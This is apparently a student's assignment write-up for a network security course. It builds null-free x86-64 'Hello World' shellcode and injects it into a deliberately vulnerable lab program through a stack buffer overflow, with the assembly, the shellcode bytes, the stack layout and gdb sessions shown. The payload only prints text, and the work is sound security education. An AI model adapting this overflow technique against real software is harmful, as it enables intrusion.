CSE 554 - Networks and Systems Security II
Assignment 2 - Buffer Overflow Attack

Name: Harsh Kumar **Roll No:** 2019043

Writing a hello world shellcode

We have to write a simple “Hello World” program. Let’s try to look at equivalent *c* program:

```
#include <stdio.h>

void main() {
    printf(“Hello World”);
    exit(0);
}
```

Now, the problem is that its equivalent code in binary will have some bytes as *0x0*. We have to avoid all those instructions, constant values where any byte could be 0. The reason is that when we try to pass this binary in form of a string in the *victim-exec-stack* program, the c library which is copying the input from *STDIN* to memory would stop copying as soon as it sees 0x0 (aka NULL character).

After removing such instructions and replacing them with equivalent instructions, this is the final assembly code that we get. I verified that the bytecode does not have any 0x0 bytes using *objdump*.

```
_start:
    jmp load_string

code:
    pop    %rsi
    xor    %rax,%rax
    mov    $0x1,%al
    mov    %rax,%rdi
    mov    %rax,%rdx
    add    $0x22,%rdx
    syscall

    xor    %rax,%rax
    add    $60,%rax
    xor    %rdi,%rdi
    syscall

load_string:
    call code
    .string "Hello World"
```

Another important thing to notice is that we cannot use static address of "Hello World" code in the memory, as it would change with every executing. Thus we use the *jmp-call-ret* technique to dynamically push the address of the string in the stack.

objdump output to verify this does not contain any null character:

```
0000000000000000 <_start>:
   0:   eb 1e                   jmp    20 <load_string>

0000000000000002 <code>:
   2:   5e                      pop    rsi
   3:   48 31 c0                xor    rax,rax
   6:   b0 01                   mov    al,0x1
   8:   48 89 c7                mov    rdi,rax
   b:   48 89 c2                mov    rdx,rax
   e:   48 83 c2 22             add    rdx,0x22
  12:   0f 05                   syscall
  14:   48 31 c0                xor    rax,rax
  17:   48 83 c0 3c             add    rax,0x3c
  1b:   48 31 ff                xor    rdi,rdi
  1e:   0f 05                   syscall

0000000000000020 <load_string>:
  20:   e8 dd ff ff ff          call   2 <code>
  25:   48                      rex.W
  26:   65 6c                   gs ins BYTE PTR es:[rdi],dx
  28:   6c                      ins    BYTE PTR es:[rdi],dx
  29:   6f                      outs   dx,DWORD PTR ds:[rsi]
  2a:   20 57 6f                and    BYTE PTR [rdi+0x6f],dl
  2d:   72 6c                   jb     9b <load_string+0x7b>
  2f:   64                      fs
```

After this, we extra the binary code using *objdump* output of the binary. The shellcode looks like this:

```
\xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xc2\x48\x83\xc2\x22\x0f\x05\x48\x31\
xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x7
2\x6c\x64
```

Now, we have to store this shellcode in out victim stack, and change the return address to point to the first instruction in our shellcode.

This is how we would like the final stack to look like:

NOPs	Shellcode	NOPs	Return Address

<- - - - - - - - Buffer Size (72 bytes) - - - - - - - - - - - - -><- - - 8 bytes - - - ->

It's important to note that for this to work, everything should fit into the victim stack buffer size. We have padding with NOPs, so that any miscalculation in address could be compensated, as NOP just increments the instruction pointer value.

We finally generate the string using *generate_string.c* which takes the input out the base address and returns the corresponding string with malicious Hello World program loaded into it.

The base address is ever-changing. Thus, I opened the *victim-exec-stack* program in gdb and added a breakpoint at the start of the *main()* function.

```
hadron43@blueDoor:~/projects/CSE554-NSS-II/a2_shellcode$ ls
generate_string  generate_string.c  output  shellcode  victim-exec-stack
hadron43@blueDoor:~/projects/CSE554-NSS-II/a2_shellcode$ gdb ./victim-exec-stac
k
GNU gdb (Ubuntu 11.1-0ubuntu2) 11.1
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./victim-exec-stack...
(No debugging symbols found in ./victim-exec-stack)
```

```
(gdb) break main
Breakpoint 1 at 0x4005ba
(gdb) run
Starting program: /home/hadron43/projects/CSE554-NSS-II/a2_shellcode/victim-exe
c-stack
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x00000000004005ba in main ()
```

We then look at the frame and copy the rbp register value:

```
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf60:
 rip = 0x4005ba in main; saved rip = 0x7ffff7da6fd0
 Arglist at 0x7fffffffdf50, args:
 Locals at 0x7fffffffdf50, Previous frame's sp is 0x7fffffffdf60
 Saved registers:
  rbp at 0x7fffffffdf50, rip at 0x7fffffffdf58
```

We now generate the string with malicious program corresponding to the given base address:

```
hadron43@blueDoor:~/projects/CSE554-NSS-II/a2_shellcode$ ./generate_string 0x7f
ffffffdf50 > output
hadron43@blueDoor:~/projects/CSE554-NSS-II/a2_shellcode$ cat output
���������^H1��H��H��H��"H1�H��<H1������Hello World���������������������hadron43@
blueDoor:~/projects/CSE554-NSS-II/a2_shellcode$
```

Now, we pass this string to the program running in gdb, and pass this string as it's input:

```
(gdb) run < output
Starting program: /home/hadron43/projects/CSE554-NSS-II/a2_shellcode/victim-exe
c-stack < output
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter text for name:
content of buffer: ���������^H1��H��H��H��"H1�H��<H1������Hello World����������
����������
Hello World����������������=����[Inferior 1 (process 21566) exited normally]
```

We observe that the "Hello World" string is displayed after the contents of the buffer are displayed. This means that our program is working. We are getting some garbage values after that because we cannot append the string with a NULL character.

Grading Rubric

a) ***Successful compilation of the shellcode using Makefile.***
Go to *shellcode* folder, and run *make*. This will compile the assembly code, and generate object code and binary for it.

b) ***Working standalone shellcode that uses system calls (victim) to print ``Hello World"***
In *shellcode* folder, run *make run*. This will run the compiled shellcode, and print the "Hello World" message on the console.

c) ***Correctly passing the shellcode to the program forcing it to correctly execute it***
In the main folder, run *make* to compile the *generate_string* program. It takes one command line input, which is the *rsp* pointer. It can be obtained from gdb as shown above. Copy the generated string in *victim-exec-stack* input.

d) ***Description of the shellcode code, commands to test the shellcode, and the assumptions that you made.***

Assumptions made:

- Even after disabling ASLR on my machine, there was some randomization in the address space. Due to limited buffer size, I was unable to place enough NOP operations before my shellcode, and thus, it was hard to exploit the program without using gdb to get the exact value of rsp register.
- CPU instructions used here correspond to Intex x86 architecture-based 64-bit processor.

A detailed description of the exploit is given above.